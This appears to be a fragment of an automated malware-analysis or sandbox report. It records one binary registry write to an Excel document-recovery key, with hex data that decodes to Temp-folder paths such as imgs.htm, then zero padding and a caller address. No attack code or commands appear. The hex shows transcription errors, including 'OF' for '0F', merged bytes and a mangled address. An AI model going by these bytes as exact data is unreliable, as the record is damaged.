HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F3572

Key Path Name

Disassembly

Copyright null 2020

Name

F3572

Type

Type

binary

Old Data

Data

04 00 00 00 A0 09 00 00 2A 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 7C 37
84 9D C2 BF D6 01 72 35 OF 00 72 35
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00

New Data

Completion

success or wait

Completion

Count Address

1

Source
Symbol

7FEEAC59ACO unknown

Source
Count Address Symbol
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